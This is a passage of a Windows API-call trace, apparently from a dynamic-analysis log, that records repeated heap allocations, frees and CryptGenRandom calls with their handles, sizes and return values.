Size=0x180) returned 0x34a3338 [0146.825] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0146.825] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5b18 [0146.828] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b944 | out: pbBuffer=0x366b944) returned 1 [0146.828] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0146.828] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a48a8 [0146.829] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0146.870] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ba5c | out: pbBuffer=0x366ba5c) returned 1 [0146.874] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b354 | out: pbBuffer=0x366b354) returned 1 [0146.875] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0146.875] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3648 [0146.875] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0146.875] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5b18 [0146.878] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b46c | out: pbBuffer=0x366b46c) returned 1 [0146.878] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0146.879] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0146.879] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0146.882] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b3f4 | out: pbBuffer=0x366b3f4) returned 1 [0146.886] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b41c | out: pbBuffer=0x366b41c) returned 1 [0146.886] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0146.887] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0146.887] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0146.887] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5b18 [0146.890] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b2dc | out: pbBuffer=0x366b2dc) returned 1 [0146.891] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.891] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0146.891] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.894] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b304 | out: pbBuffer=0x366b304) returned 1 [0146.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0146.894] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0146.894] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0146.898] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b1c4 | out: pbBuffer=0x366b1c4) returned 1 [0146.898] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0146.898] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0146.898] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0146.898] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x379f848 [0146.902] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b034 | out: pbBuffer=0x366b034) returned 1 [0146.902] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0146.902] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0146.902] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0146.905] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b19c | out: pbBuffer=0x366b19c) returned 1 [0146.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0146.905] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0146.906] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0146.909] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b174 | out: pbBuffer=0x366b174) returned 1 [0146.912] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b1ec | out: pbBuffer=0x366b1ec) returned 1 [0146.913] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0146.913] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a54e8 [0146.913] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0146.913] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x379f898 [0146.916] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b0ac | out: pbBuffer=0x366b0ac) returned 1 [0146.916] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0146.916] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0146.917] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0146.920] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b764 | out: pbBuffer=0x366b764) returned 1 [0146.924] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b6ec | out: pbBuffer=0x366b6ec) returned 1 [0146.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0146.924] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.924] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x379f898 [0146.928] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b64c | out: pbBuffer=0x366b64c) returned 1 [0146.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0146.928] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0146.928] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0146.931] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b5fc | out: pbBuffer=0x366b5fc) returned 1 [0146.931] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0146.932] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0146.932] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0146.935] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b534 | out: pbBuffer=0x366b534) returned 1 [0146.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0146.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3958 [0146.935] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0146.935] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x379f7f8 [0146.939] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b55c | out: pbBuffer=0x366b55c) returned 1 [0146.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0146.939] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4288 [0146.939] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0146.943] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b4e4 | out: pbBuffer=0x366b4e4) returned 1 [0146.943] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0146.943] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a48a8 [0146.943] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0146.947] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a82c | out: pbBuffer=0x366a82c) returned 1 [0146.950] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aa5c | out: pbBuffer=0x366aa5c) returned 1 [0146.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0146.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0146.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0146.951] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x379f618 [0146.954] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ab9c | out: pbBuffer=0x366ab9c) returned 1 [0146.954] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622a70 [0146.954] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0146.955] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622a70 | out: hHeap=0x2ad0000) returned 1 [0146.961] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a5ac | out: pbBuffer=0x366a5ac) returned 1 [0146.965] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a994 | out: pbBuffer=0x366a994) returned 1 [0146.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0146.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4720 [0146.965] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0146.965] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x379f618 [0146.969] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ab74 | out: pbBuffer=0x366ab74) returned 1 [0146.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0146.969] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0146.969] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0146.972] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a854 | out: pbBuffer=0x366a854) returned 1 [0146.976] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366af5c | out: pbBuffer=0x366af5c) returned 1 [0146.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0146.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a51d8 [0146.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0146.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x379f618 [0146.980] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aa0c | out: pbBuffer=0x366aa0c) returned 1 [0146.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0146.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3338 [0146.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0146.984] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ac8c | out: pbBuffer=0x366ac8c) returned 1 [0146.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0146.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5360 [0146.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0146.988] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a494 | out: pbBuffer=0x366a494) returned 1 [0146.988] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0146.988] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0146.988] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0146.988] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x379f618 [0146.992] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a91c | out: pbBuffer=0x366a91c) returned 1 [0146.992] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.992] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0146.992] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.995] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a624 | out: pbBuffer=0x366a624) returned 1 [0146.995] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0146.996] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0146.996] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0146.999] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a714 | out: pbBuffer=0x366a714) returned 1 [0147.003] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a8cc | out: pbBuffer=0x366a8cc) returned 1 [0147.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0147.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5360 [0147.003] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0147.003] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x379f618 [0147.006] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a444 | out: pbBuffer=0x366a444) returned 1 [0147.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0147.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0147.007] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0147.010] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a8a4 | out: pbBuffer=0x366a8a4) returned 1 [0147.014] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a46c | out: pbBuffer=0x366a46c) returned 1 [0147.014] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0147.014] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0147.014] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0147.014] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x379f618 [0147.018] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a0ac | out: pbBuffer=0x366a0ac) returned 1 [0147.018] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0147.018] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0147.018] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0147.022] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a584 | out: pbBuffer=0x366a584) returned 1 [0147.022] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0147.032] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a3cc | out: pbBuffer=0x366a3cc) returned 1 [0147.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0147.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0147.032] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0147.032] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x379f618 [0147.036] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a0d4 | out: pbBuffer=0x366a0d4) returned 1 [0147.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0147.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0147.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0147.039] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a19c | out: pbBuffer=0x366a19c) returned 1 [0147.040] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0147.040] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0147.040] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0147.043] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a1c4 | out: pbBuffer=0x366a1c4) returned 1 [0147.043] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0147.043] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0147.044] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0147.044] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x379f618 [0147.047] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a354 | out: pbBuffer=0x366a354) returned 1 [0147.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0147.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4288 [0147.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0147.048] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x379f618 [0147.051] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366acdc | out: pbBuffer=0x366acdc) returned 1 [0147.051] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0147.051] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3338 [0147.051] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0147.055] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ad7c | out: pbBuffer=0x366ad7c) returned 1 [0147.058] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ae94 | out: pbBuffer=0x366ae94) returned 1 [0147.059] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0147.059] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0147.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0147.059] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x379f618 [0147.062] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366af34 | out: pbBuffer=0x366af34) returned 1 [0147.063] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0147.063] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a48a8 [0147.063] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0147.066] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aee4 | out: pbBuffer=0x366aee4) returned 1 [0147.070] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366afd4 | out: pbBuffer=0x366afd4) returned 1 [0147.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622b38 [0147.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0147.070] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622b38 | out: hHeap=0x2ad0000) returned 1 [0147.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x379f618 [0147.074] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d354 | out: pbBuffer=0x366d354) returned 1 [0147.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0147.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5360 [0147.074] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0147.077] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d674 | out: pbBuffer=0x366d674) returned 1 [0147.078] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0147.078] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4a30 [0147.078] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0147.081] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d534 | out: pbBuffer=0x366d534) returned 1 [0147.081] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0147.082] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5360 [0147.082] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0147.082] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x379f618 [0147.085] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d5d4 | out: pbBuffer=0x366d5d4) returned 1 [0147.086] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0147.086] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0147.086] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0147.089] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d494 | out: pbBuffer=0x366d494) returned 1 [0147.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0147.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0147.090] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0147.093] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d3cc | out: pbBuffer=0x366d3cc) returned 1 [0147.097] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d23c | out: pbBuffer=0x366d23c) returned 1 [0147.097] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0147.098] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5980 [0147.098] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0147.098] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x3835fd8 [0147.101] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d1c4 | out: pbBuffer=0x366d1c4) returned 1 [0147.101] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0147.101] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4100 [0147.101] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0147.105] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d264 | out: pbBuffer=0x366d264) returned 1 [0147.108] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366d2dc | out: pbBuffer=0x366d2dc) returned 1 [0147.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0147.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0147.109] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0147.109] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x38360c8 [0147.112] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662e44 | out: pbBuffer=0x3662e44) returned 1 [0147.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0147.113] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4288 [0147.113] HeapFree 